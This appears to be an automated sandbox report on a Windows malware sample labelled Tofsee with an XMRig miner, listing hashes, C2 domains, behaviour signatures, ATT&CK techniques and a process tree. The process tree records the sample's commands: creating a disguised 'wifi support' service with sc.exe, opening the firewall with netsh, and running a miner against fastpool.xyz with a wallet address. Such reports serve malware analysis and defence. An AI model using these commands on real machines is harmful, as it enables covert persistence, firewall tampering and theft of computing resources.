Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    20-06-2022 13:32

General

  • Target

    e589ca07439b86d88a5820b00535a1fac141bd022c904fff4b80c914d5d67862.exe

  • Size

    313KB

  • MD5

    8567240f275baaeb316c12f0cab580a6

  • SHA1

    d2f07a8889c0e038d3b95dc434faa36b93114698

  • SHA256

    e589ca07439b86d88a5820b00535a1fac141bd022c904fff4b80c914d5d67862

  • SHA512

    b7daf73bb899dc5b27a0face5f6b02d918b13052e9b1e104243681e85023198adcfccca090a9ba77cf3d966ccb84f0b70400af4f1bd4474b9b126f39a00f0406

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e589ca07439b86d88a5820b00535a1fac141bd022c904fff4b80c914d5d67862.exe
    "C:\Users\Admin\AppData\Local\Temp\e589ca07439b86d88a5820b00535a1fac141bd022c904fff4b80c914d5d67862.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4124
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\elcpbhub\
      2⤵
        PID:4284
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mcmxvvil.exe" C:\Windows\SysWOW64\elcpbhub\
        2⤵
          PID:432
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create elcpbhub binPath= "C:\Windows\SysWOW64\elcpbhub\mcmxvvil.exe /d\"C:\Users\Admin\AppData\Local\Temp\e589ca07439b86d88a5820b00535a1fac141bd022c904fff4b80c914d5d67862.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1540
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description elcpbhub "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3172
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start elcpbhub
          2⤵
          • Launches sc.exe
          PID:540
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4468
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 664
          2⤵
          • Program crash
          PID:3388
      • C:\Windows\SysWOW64\elcpbhub\mcmxvvil.exe
        C:\Windows\SysWOW64\elcpbhub\mcmxvvil.exe /d"C:\Users\Admin\AppData\Local\Temp\e589ca07439b86d88a5820b00535a1fac141bd022c904fff4b80c914d5d67862.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3108
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2240
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4616
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3108 -s 552
          2⤵
          • Program crash
          PID:4896
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4124 -ip 4124
        1⤵
          PID:116
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3108 -ip 3108
          1⤵
            PID:1944

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\mcmxvvil.exe
            Filesize

            12.4MB

            MD5

            7be11d95afd4ce94468faebdfa13b165

            SHA1

            7f0e28a9c96e067454be4354428d1dd54ebe525a

            SHA256

            3fc2dafda6604ccfdf9327bed9b8a1d902da0d3c48e9e306cff21a19e90f04be

            SHA512

            64ed7f666b5fb7883881b90423d5b92a832c63d4821193058b7e99eb5abc8bff55516a8cd90450e35abbb720e360d46103c3c6a99880efb41c5f60cc6fc80204

          • C:\Windows\SysWOW64\elcpbhub\mcmxvvil.exe
            Filesize

            12.4MB

            MD5

            7be11d95afd4ce94468faebdfa13b165

            SHA1

            7f0e28a9c96e067454be4354428d1dd54ebe525a

            SHA256

            3fc2dafda6604ccfdf9327bed9b8a1d902da0d3c48e9e306cff21a19e90f04be

            SHA512

            64ed7f666b5fb7883881b90423d5b92a832c63d4821193058b7e99eb5abc8bff55516a8cd90450e35abbb720e360d46103c3c6a99880efb41c5f60cc6fc80204

          • memory/432-133-0x0000000000000000-mapping.dmp
          • memory/540-138-0x0000000000000000-mapping.dmp
          • memory/1540-136-0x0000000000000000-mapping.dmp
          • memory/2240-142-0x0000000000000000-mapping.dmp
          • memory/2240-147-0x0000000000EF0000-0x0000000000F05000-memory.dmp
            Filesize

            84KB

          • memory/2240-165-0x00000000033E0000-0x00000000033E7000-memory.dmp
            Filesize

            28KB

          • memory/2240-162-0x0000000007E80000-0x000000000828B000-memory.dmp
            Filesize

            4.0MB

          • memory/2240-159-0x00000000033D0000-0x00000000033D5000-memory.dmp
            Filesize

            20KB

          • memory/2240-156-0x0000000002370000-0x0000000002380000-memory.dmp
            Filesize

            64KB

          • memory/2240-153-0x0000000002360000-0x0000000002366000-memory.dmp
            Filesize

            24KB

          • memory/2240-150-0x0000000003000000-0x000000000320F000-memory.dmp
            Filesize

            2.1MB

          • memory/2240-143-0x0000000000EF0000-0x0000000000F05000-memory.dmp
            Filesize

            84KB

          • memory/2240-149-0x0000000000EF0000-0x0000000000F05000-memory.dmp
            Filesize

            84KB

          • memory/3108-148-0x0000000000400000-0x0000000002C6D000-memory.dmp
            Filesize

            40.4MB

          • memory/3108-146-0x0000000002EC9000-0x0000000002ED7000-memory.dmp
            Filesize

            56KB

          • memory/3172-137-0x0000000000000000-mapping.dmp
          • memory/4124-135-0x0000000000400000-0x0000000002C6D000-memory.dmp
            Filesize

            40.4MB

          • memory/4124-141-0x0000000000400000-0x0000000002C6D000-memory.dmp
            Filesize

            40.4MB

          • memory/4124-131-0x0000000002F3E000-0x0000000002F4C000-memory.dmp
            Filesize

            56KB

          • memory/4124-132-0x0000000002DB0000-0x0000000002DC3000-memory.dmp
            Filesize

            76KB

          • memory/4284-130-0x0000000000000000-mapping.dmp
          • memory/4468-139-0x0000000000000000-mapping.dmp
          • memory/4616-168-0x0000000000000000-mapping.dmp
          • memory/4616-169-0x0000000000880000-0x0000000000971000-memory.dmp
            Filesize

            964KB

          • memory/4616-174-0x0000000000880000-0x0000000000971000-memory.dmp
            Filesize

            964KB